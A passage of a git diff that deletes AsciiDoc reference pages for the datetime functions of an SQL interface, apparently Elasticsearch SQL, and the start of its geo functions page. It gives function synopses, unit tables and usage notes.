-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[filterNow]
---------------------------------------------------
-
-[IMPORTANT]
-Currently, using a _precision_ greater than 3 doesn't make any difference to the output of the
-function as the maximum number of second fractional digits returned is 3 (milliseconds).
-
-[[sql-functions-datetime-add]]
-==== `DATE_ADD/DATEADD/TIMESTAMP_ADD/TIMESTAMPADD`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-DATE_ADD(
-    string_exp, <1>
-    integer_exp, <2>
-    datetime_exp) <3>
---------------------------------------------------
-
-*Input*:
-
-<1> string expression denoting the date/time unit to add to the date/datetime
-<2> integer expression denoting how many times the above unit should be added to/from the date/datetime,
-if a negative value is used it results to a subtraction from the date/datetime
-<3> date/datetime expression
-
-*Output*: datetime
-
-*Description*: Add the given number of date/time units to a date/datetime. If the number of units is negative then it's subtracted from
-the date/datetime. If any of the three arguments is `null` a `null` is returned.
-
-[WARNING]
-If the second argument is a long there is possibility of truncation since an integer value will be extracted and
-used from that long.
-
-[cols="^,^"]
-|===
-2+h|Datetime units to add/subtract
-
-s|unit
-s|abbreviations
-
-| year        | years, yy, yyyy
-| quarter     | quarters, qq, q
-| month       | months, mm, m
-| dayofyear   | dy, y
-| day         | days, dd, d
-| week        | weeks, wk, ww
-| weekday     | weekdays, dw
-| hour        | hours, hh
-| minute      | minutes, mi, n
-| second      | seconds, ss, s
-| millisecond | milliseconds, ms
-| microsecond | microseconds, mcs
-| nanosecond  | nanoseconds, ns
-|===
-
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[dateAddDateTimeYears]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[dateAddDateTimeWeeks]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[dateAddDateTimeSeconds]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[dateAddDateQuarters]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[dateAddDateMinutes]
---------------------------------------------------
-
-[[sql-functions-datetime-diff]]
-==== `DATE_DIFF/DATEDIFF/TIMESTAMP_DIFF/TIMESTAMPDIFF`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-DATE_DIFF(
-    string_exp, <1>
-    datetime_exp, <2>
-    datetime_exp) <3>
---------------------------------------------------
-
-*Input*:
-
-<1> string expression denoting the date/time unit difference between the following two date/datetime expressions
-<2> start date/datetime expression
-<3> end date/datetime expression
-
-*Output*: integer
-
-*Description*: Subtract the second argument from the third argument and return their difference in multiples of the unit
-specified in the first argument. If the second argument (start) is greater than the third argument (end),
-then negative values are returned. If any of the three arguments is `null`, a `null` is returned.
-
-[cols="^,^"]
-|===
-2+h|Datetime difference units
-
-s|unit
-s|abbreviations
-
-| year        | years, yy, yyyy
-| quarter     | quarters, qq, q
-| month       | months, mm, m
-| dayofyear   | dy, y
-| day         | days, dd, d
-| week        | weeks, wk, ww
-| weekday     | weekdays, dw
-| hour        | hours, hh
-| minute      | minutes, mi, n
-| second      | seconds, ss, s
-| millisecond | milliseconds, ms
-| microsecond | microseconds, mcs
-| nanosecond  | nanoseconds, ns
-|===
-
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[dateDiffDateTimeYears]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[dateDiffDateTimeWeeks]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[dateDiffDateTimeSeconds]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[dateDiffDateQuarters]
---------------------------------------------------
-
-[NOTE]
-For `hour` and `minute`, `DATEDIFF` doesn't do any rounding, but instead first truncates
-the more detailed time fields on the 2 dates to zero and then calculates the subtraction.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[dateDiffDateTimeHours]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[dateDiffDateTimeMinutes]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[dateDiffDateMinutes]
---------------------------------------------------
-
-[[sql-functions-datetime-dateparse]]
-==== `DATE_PARSE`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-DATE_PARSE(
-    string_exp, <1>
-    string_exp) <2>
---------------------------------------------------
-
-*Input*:
-
-<1> date expression as a string
-<2> parsing pattern
-
-*Output*: date
-
-*Description*: Returns a date by parsing the 1st argument using the format specified in the 2nd argument. The parsing
-format pattern used is the one from
-https://docs.oracle.com/en/java/javase/14/docs/api/java.base/java/time/format/DateTimeFormatter.html[`java.time.format.DateTimeFormatter`].
-If any of the two arguments is `null` or an empty string, then `null` is returned.
-
-[NOTE]
-If the parsing pattern does not contain all valid date units (e.g. 'HH:mm:ss', 'dd-MM HH:mm:ss', etc.) an error is returned
-as the function needs to return a value of `date` type which will contain date part.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[dateParse1]
---------------------------------------------------
-
-[NOTE]
-====
-The resulting `date` will have the time zone specified by the user through the 
-<<sql-rest-fields-timezone,`time_zone`>>/<<jdbc-cfg-timezone,`timezone`>> REST/driver parameters
-with no conversion applied.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[dateParse2]
---------------------------------------------------
-====
-
-[[sql-functions-datetime-datetimeformat]]
-==== `DATETIME_FORMAT`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-DATETIME_FORMAT(
-    date_exp/datetime_exp/time_exp, <1>
-    string_exp) <2>
---------------------------------------------------
-
-*Input*:
-
-<1> date/datetime/time expression
-<2> format pattern
-
-*Output*: string
-
-*Description*: Returns the date/datetime/time as a string using the format specified in the 2nd argument. The formatting
-pattern used is the one from
-https://docs.oracle.com/en/java/javase/14/docs/api/java.base/java/time/format/DateTimeFormatter.html[`java.time.format.DateTimeFormatter`].
-If any of the two arguments is `null` or the pattern is an empty string `null` is returned.
-
-[NOTE]
-If the 1st argument is of type `time`, then pattern specified by the 2nd argument cannot contain date related units
-(e.g. 'dd', 'MM', 'YYYY', etc.). If it contains such units an error is returned.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[dateTimeFormatDate]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[dateTimeFormatDateTime]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[dateTimeFormatTime]
---------------------------------------------------
-
-[[sql-functions-datetime-datetimeparse]]
-==== `DATETIME_PARSE`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-DATETIME_PARSE(
-    string_exp, <1>
-    string_exp) <2>
---------------------------------------------------
-
-*Input*:
-
-<1> datetime expression as a string
-<2> parsing pattern
-
-*Output*: datetime
-
-*Description*: Returns a datetime by parsing the 1st argument using the format specified in the 2nd argument. The parsing
-format pattern used is the one from
-https://docs.oracle.com/en/java/javase/14/docs/api/java.base/java/time/format/DateTimeFormatter.html[`java.time.format.DateTimeFormatter`].
-If any of the two arguments is `null` or an empty string `null` is returned.
-
-
-[NOTE]
-If the parsing pattern contains only date or only time units (e.g. 'dd/MM/uuuu', 'HH:mm:ss', etc.) an error is returned
-as the function needs to return a value of `datetime` type which must contain both.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[dateTimeParse1]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[dateTimeParse2]
---------------------------------------------------
-
-[NOTE]
-====
-If timezone is not specified in the datetime string expression and the parsing pattern, the resulting `datetime` will have the
-time zone specified by the user through the <<sql-rest-fields-timezone,`time_zone`>>/<<jdbc-cfg-timezone,`timezone`>> REST/driver parameters
-with no conversion applied.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[dateTimeParse3]
---------------------------------------------------
-====
-
-[[sql-functions-datetime-timeparse]]
-==== `TIME_PARSE`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-TIME_PARSE(
-    string_exp, <1>
-    string_exp) <2>
---------------------------------------------------
-
-*Input*:
-
-<1> time expression as a string
-<2> parsing pattern
-
-*Output*: time
-
-*Description*: Returns a time by parsing the 1st argument using the format specified in the 2nd argument. The parsing
-format pattern used is the one from
-https://docs.oracle.com/en/java/javase/14/docs/api/java.base/java/time/format/DateTimeFormatter.html[`java.time.format.DateTimeFormatter`].
-If any of the two arguments is `null` or an empty string `null` is returned.
-
-[NOTE]
-If the parsing pattern contains only date units (e.g. 'dd/MM/uuuu') an error is returned
-as the function needs to return a value of `time` type which will contain only time.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[timeParse1]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[timeParse2]
---------------------------------------------------
-
-[NOTE]
-====
-If timezone is not specified in the time string expression and the parsing pattern,
-the resulting `time` will have the offset of the time zone specified by the user through the
- <<sql-rest-fields-timezone,`time_zone`>>/<<jdbc-cfg-timezone,`timezone`>> REST/driver
-parameters at the Unix epoch date (`1970-01-01`) with no conversion applied.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[timeParse3]
---------------------------------------------------
-====
-
-[[sql-functions-datetime-part]]
-==== `DATE_PART/DATEPART`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-DATE_PART(
-    string_exp, <1>
-    datetime_exp) <2>
---------------------------------------------------
-
-*Input*:
-
-<1> string expression denoting the unit to extract from the date/datetime
-<2> date/datetime expression
-
-*Output*: integer
-
-*Description*: Extract the specified unit from a date/datetime. If any of the two arguments is `null` a `null` is returned.
-It's similar to <<sql-functions-datetime-extract>> but with different names and aliases for the units and
-provides more options (e.g.: `TZOFFSET`).
-
-[cols="^,^"]
-|===
-2+h|Datetime units to extract
-
-s|unit
-s|abbreviations
-
-| year        | years, yy, yyyy
-| quarter     | quarters, qq, q
-| month       | months, mm, m
-| dayofyear   | dy, y
-| day         | days, dd, d
-| week        | weeks, wk, ww
-| weekday     | weekdays, dw
-| hour        | hours, hh
-| minute      | minutes, mi, n
-| second      | seconds, ss, s
-| millisecond | milliseconds, ms
-| microsecond | microseconds, mcs
-| nanosecond  | nanoseconds, ns
-| tzoffset    | tz
-|===
-
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[datePartDateTimeYears]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[datePartDateTimeMinutes]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[datePartDateQuarter]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[datePartDateMonth]
---------------------------------------------------
-
-[NOTE]
-For `week` and `weekday` the unit is extracted using the non-ISO calculation, which means
-that a given week is considered to start from Sunday, not Monday.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[datePartDateTimeWeek]
---------------------------------------------------
-
-[NOTE]
-The `tzoffset` returns the total number of minutes (signed) that represent the time zone's offset.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[datePartDateTimeTzOffsetPlus]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[datePartDateTimeTzOffsetMinus]
---------------------------------------------------
-
-[[sql-functions-datetime-trunc]]
-==== `DATE_TRUNC/DATETRUNC`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-DATE_TRUNC(
-    string_exp, <1>
-    datetime_exp/interval_exp) <2>
---------------------------------------------------
-
-*Input*:
-
-<1> string expression denoting the unit to which the date/datetime/interval should be truncated to
-<2> date/datetime/interval expression
-
-*Output*: datetime/interval
-
-*Description*: Truncate the date/datetime/interval to the specified unit by setting all fields that are less significant than the specified
-one to zero (or one, for day, day of week and month). If any of the two arguments is `null` a `null` is returned.
-If the first argument is `week` and the second argument is of `interval` type, an error is thrown since the `interval` data type doesn't support a `week` time unit.
-
-[cols="^,^"]
-|===
-2+h|Datetime truncation units
-
-s|unit
-s|abbreviations
-
-| millennium  | millennia
-| century     | centuries
-| decade      | decades
-| year        | years, yy, yyyy
-| quarter     | quarters, qq, q
-| month       | months, mm, m
-| week        | weeks, wk, ww
-| day         | days, dd, d
-| hour        | hours, hh
-| minute      | minutes, mi, n
-| second      | seconds, ss, s
-| millisecond | milliseconds, ms
-| microsecond | microseconds, mcs
-| nanosecond  | nanoseconds, ns
-|===
-
-
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[truncateDateTimeMillennium]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[truncateDateTimeWeek]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[truncateDateTimeMinutes]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[truncateDateDecades]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[truncateDateQuarter]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[truncateIntervalCenturies]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[truncateIntervalHour]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[truncateIntervalDay]
---------------------------------------------------
-
-[[sql-functions-datetime-format]]
-==== `FORMAT`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-FORMAT(
-    date_exp/datetime_exp/time_exp, <1>
-    string_exp) <2>
---------------------------------------------------
-
-*Input*:
-
-<1> date/datetime/time expression
-<2> format pattern
-
-*Output*: string
-
-*Description*: Returns the date/datetime/time as a string using the
-https://docs.microsoft.com/en-us/sql/t-sql/functions/format-transact-sql#arguments[format] specified in the 2nd argument. The formatting
-pattern used is the one from
-https://docs.microsoft.com/en-us/dotnet/standard/base-types/custom-date-and-time-format-strings[Microsoft SQL Server Format Specification].
-If any of the two arguments is `null` or the pattern is an empty string `null` is returned.
-
-[NOTE]
-If the 1st argument is of type `time`, then pattern specified by the 2nd argument cannot contain date related units
-(e.g. 'dd', 'MM', 'YYYY', etc.). If it contains such units an error is returned.
-
-*Special Cases*
-
-- Format specifier `F` will be working similar to format specifier `f`.
-It will return the fractional part of seconds, and the number of digits will be same as of the number of `Fs` provided as input (up to 9 digits).
-Result will contain `0` appended in the end to match with number of `F` provided.
-e.g.: for a time part `10:20:30.1234` and pattern `HH:mm:ss.FFFFFF`, the output string of the function would be: `10:20:30.123400`.
-- Format Specifier `y` will return year-of-era instead of one/two low-order digits.
-eg.: For year `2009`, `y` will be returning `2009` instead of `9`. For year `43`, `y` format specifier will return `43`.
-- Special characters like `"` , `\` and `%` will be returned as it is without any change. eg.: formatting date `17-sep-2020` with `%M` will return `%9`
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[formatDate]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[formatDateTime]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[formatTime]
---------------------------------------------------
-
-[[sql-functions-datetime-day]]
-==== `DAY_OF_MONTH/DOM/DAY`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-DAY_OF_MONTH(datetime_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> date/datetime expression
-
-*Output*: integer
-
-*Description*: Extract the day of the month from a date/datetime.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[dayOfMonth]
---------------------------------------------------
-
-[[sql-functions-datetime-dow]]
-==== `DAY_OF_WEEK/DAYOFWEEK/DOW`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-DAY_OF_WEEK(datetime_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> date/datetime expression
-
-*Output*: integer
-
-*Description*: Extract the day of the week from a date/datetime. Sunday is `1`, Monday is `2`, etc.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[dayOfWeek]
---------------------------------------------------
-
-[[sql-functions-datetime-doy]]
-==== `DAY_OF_YEAR/DOY`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-DAY_OF_YEAR(datetime_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> date/datetime expression
-
-*Output*: integer
-
-*Description*: Extract the day of the year from a date/datetime.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[dayOfYear]
---------------------------------------------------
-
-[[sql-functions-datetime-dayname]]
-==== `DAY_NAME/DAYNAME`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-DAY_NAME(datetime_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> date/datetime expression
-
-*Output*: string
-
-*Description*: Extract the day of the week from a date/datetime in text format (`Monday`, `Tuesday`...).
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[dayName]
---------------------------------------------------
-
-[[sql-functions-datetime-hour]]
-==== `HOUR_OF_DAY/HOUR`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-HOUR_OF_DAY(datetime_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> date/datetime expression
-
-*Output*: integer
-
-*Description*: Extract the hour of the day from a date/datetime.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[hourOfDay]
---------------------------------------------------
-
-[[sql-functions-datetime-isodow]]
-==== `ISO_DAY_OF_WEEK/ISODAYOFWEEK/ISODOW/IDOW`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-ISO_DAY_OF_WEEK(datetime_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> date/datetime expression
-
-*Output*: integer
-
-*Description*: Extract the day of the week from a date/datetime, following the {wikipedia}/ISO_week_date[ISO 8601 standard].
-Monday is `1`, Tuesday is `2`, etc.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[isoDayOfWeek]
---------------------------------------------------
-
-[[sql-functions-datetime-isoweek]]
-==== `ISO_WEEK_OF_YEAR/ISOWEEKOFYEAR/ISOWEEK/IWOY/IW`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-ISO_WEEK_OF_YEAR(datetime_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> date/datetime expression
-
-*Output*: integer
-
-*Description*: Extract the week of the year from a date/datetime, following {wikipedia}/ISO_week_date[ISO 8601 standard]. The first week
-of a year is the first week with a majority (4 or more) of its days in January.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[isoWeekOfYear]
---------------------------------------------------
-
-[[sql-functions-datetime-minuteofday]]
-==== `MINUTE_OF_DAY`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-MINUTE_OF_DAY(datetime_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> date/datetime expression
-
-*Output*: integer
-
-*Description*: Extract the minute of the day from a date/datetime.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[minuteOfDay]
---------------------------------------------------
-
-[[sql-functions-datetime-minute]]
-==== `MINUTE_OF_HOUR/MINUTE`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-MINUTE_OF_HOUR(datetime_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> date/datetime expression
-
-*Output*: integer
-
-*Description*: Extract the minute of the hour from a date/datetime.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[minuteOfHour]
---------------------------------------------------
-
-[[sql-functions-datetime-month]]
-==== `MONTH_OF_YEAR/MONTH`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-MONTH(datetime_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> date/datetime expression
-
-*Output*: integer
-
-*Description*: Extract the month of the year from a date/datetime.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[monthOfYear]
---------------------------------------------------
-
-[[sql-functions-datetime-monthname]]
-==== `MONTH_NAME/MONTHNAME`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-MONTH_NAME(datetime_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> date/datetime expression
-
-*Output*: string
-
-*Description*: Extract the month from a date/datetime in text format (`January`, `February`...).
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[monthName]
---------------------------------------------------
-
-[[sql-functions-now]]
-==== `NOW`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-NOW()
---------------------------------------------------
-
-*Input*: _none_
-
-*Output*: datetime
-
-*Description*: This function offers the same functionality as <<sql-functions-current-timestamp,CURRENT_TIMESTAMP()>> function: returns
-the datetime when the current query reached the server. This method always returns the same value for its every
-occurrence within the same query.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[nowFunction]
---------------------------------------------------
-
-Typically, this function (as well as its twin <<sql-functions-current-timestamp,CURRENT_TIMESTAMP())>> function is used
-for relative date/time filtering:
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[filterNow]
---------------------------------------------------
-
-[[sql-functions-datetime-second]]
-==== `SECOND_OF_MINUTE/SECOND`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-SECOND_OF_MINUTE(datetime_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> date/datetime expression
-
-*Output*: integer
-
-*Description*: Extract the second of the minute from a date/datetime.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[secondOfMinute]
---------------------------------------------------
-
-[[sql-functions-datetime-quarter]]
-==== `QUARTER`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-QUARTER(datetime_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> date/datetime expression
-
-*Output*: integer
-
-*Description*: Extract the year quarter the date/datetime falls in.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[quarter]
---------------------------------------------------
-
-[[sql-functions-today]]
-==== `TODAY`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-TODAY()
---------------------------------------------------
-
-*Input*: _none_
-
-*Output*: date
-
-*Description*: This function offers the same functionality as <<sql-functions-current-date,CURRENT_DATE()>> function: returns
-the date when the current query reached the server. This method always returns the same value for its every occurrence
-within the same query.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[todayFunction]
---------------------------------------------------
-
-Typically, this function (as well as its twin <<sql-functions-current-timestamp,CURRENT_TIMESTAMP())>> function is used
-for relative date filtering:
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[filterToday]
---------------------------------------------------
-
-[[sql-functions-datetime-week]]
-==== `WEEK_OF_YEAR/WEEK`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-WEEK_OF_YEAR(datetime_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> date/datetime expression
-
-*Output*: integer
-
-*Description*: Extract the week of the year from a date/datetime.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[weekOfYear]
---------------------------------------------------
-
-[[sql-functions-datetime-year]]
-==== `YEAR`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-YEAR(datetime_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> date/datetime expression
-
-*Output*: integer
-
-*Description*: Extract the year from a date/datetime.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[year]
---------------------------------------------------
-
-[[sql-functions-datetime-extract]]
-==== `EXTRACT`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-EXTRACT(
-    datetime_function  <1>
-    FROM datetime_exp) <2>
---------------------------------------------------
-
-*Input*:
-
-<1> date/time function name
-<2> date/datetime expression
-
-*Output*: integer
-
-*Description*: Extract fields from a date/datetime by specifying the name of a <<sql-functions-datetime,datetime function>>.
-The following
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[extractDayOfYear]
---------------------------------------------------
-
-is the equivalent to
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[dayOfYear]
---------------------------------------------------
diff --git a/docs/reference/sql/functions/geo.asciidoc b/docs/reference/sql/functions/geo.asciidoc
deleted file mode 100644
index fe1c2f28bdf..00000000000
--- a/docs/reference/sql/functions/geo.asciidoc
+++ /dev/null
@@ -1,196 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[sql-functions-geo]]
-=== Geo Functions
-
-beta[]
-
-The geo functions work with geometries stored in `geo_point`, `geo_shape` and `shape` fields, or returned by other geo functions.
-
-==== Limitations
-
-<<geo-point, `geo_point`>>, <<geo-shape, `geo_shape`>> and <<shape, `shape`>> and types are represented in SQL as
-geometry and can be used interchangeably with the following exceptions:
-
-* `geo_shape` and `shape` fields don't have doc values, therefore these fields cannot be used for filtering, grouping
-  or sorting.
-
-* `geo_points` fields are indexed and have doc values by default, however only latitude and longitude are stored and
-  indexed with some loss of precision from the original values (4.190951585769653E-8 for the latitude and
-  8.381903171539307E-8 for longitude). The altitude component is accepted but not stored in doc values nor indexed.
-  Therefore calling `ST_Z` function in the filtering, grouping or sorting will return `null`.
-
-==== Geometry Conversion
-
-[[sql-functions-geo-st-as-wkt]]
-===== `ST_AsWKT`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-ST_AsWKT(
-    geometry <1>
-)
---------------------------------------------------
-
-*Input*:
-
-<1> geometry
-
-*Output*: string
-
-*Description*: Returns the WKT representation of the `geometry`.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/geo.csv-spec[aswkt]
---------------------------------------------------
-
-
-[[sql-functions-geo-st-wkt-to-sql]]
-===== `ST_WKTToSQL`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-ST_WKTToSQL(
-    string <1>
-)
---------------------------------------------------
-
-*Input*:
-
-<1> string WKT representation of geometry
-
-*Output*: geometry
-
-*Description*: Returns the geometry from WKT representation.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/geo.csv-spec[wkttosql]
---------------------------------------------------
-
-==== Geometry Properties
-
-[[sql-functions-geo-st-geometrytype]]
-===== `ST_GeometryType`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-ST_GeometryType(
-    geometry <1>
-)
---------------------------------------------------
-
-*Input*:
-
-<1> geometry
-
-*Output*: string
-
-*Description*: Returns the type of the `geometry` such as POINT, MULTIPOINT, LINESTRING, MULTILINESTRING, POLYGON, MULTIPOLYGON, GEOMETRYCOLLECTION, ENVELOPE or CIRCLE.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/geo.csv-spec[geometrytype]
---------------------------------------------------
-
-[[sql-functions-geo-st-x]]
-===== `ST_X`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-ST_X(
-    geometry <1>
-)
---------------------------------------------------
-
-*Input*:
-
-<1> geometry
-
-*Output*: double
-
-*Description*: Returns the longitude of the first point in the geometry.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/geo.csv-spec[x]
---------------------------------------------------
-
-[[sql-functions-geo-st-y]]
-===== `ST_Y`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-ST_Y(
-    geometry <1>
-)
---------------------------------------------------
-
-*Input*:
-
-<1> geometry
-
-*Output*: double
-
-*Description*: Returns the latitude of the first point in the geometry.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/geo.csv-spec[y]
---------------------------------------------------
-
-[[sql-functions-geo-st-z]]
-===== `ST_Z`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-ST_Z(
-    geometry <1>
-)
---------------------------------------------------
-
-*Input*:
-
-<1> geometry
-
-*Output*: double
-
-*Description*: Returns the altitude of the first point in the geometry.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/geo.csv-spec[z]
---------------------------------------------------
-
-[[sql-functions-geo-st-distance]]
-===== `ST_Distance`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-ST_Distance(
-    geometry, <1>
-    geometry  <2>
-)
---------------------------------------------------
-
-*Input*:
-
-<1> source geometry
-<2> target geometry
-
-*Output*: Double
-
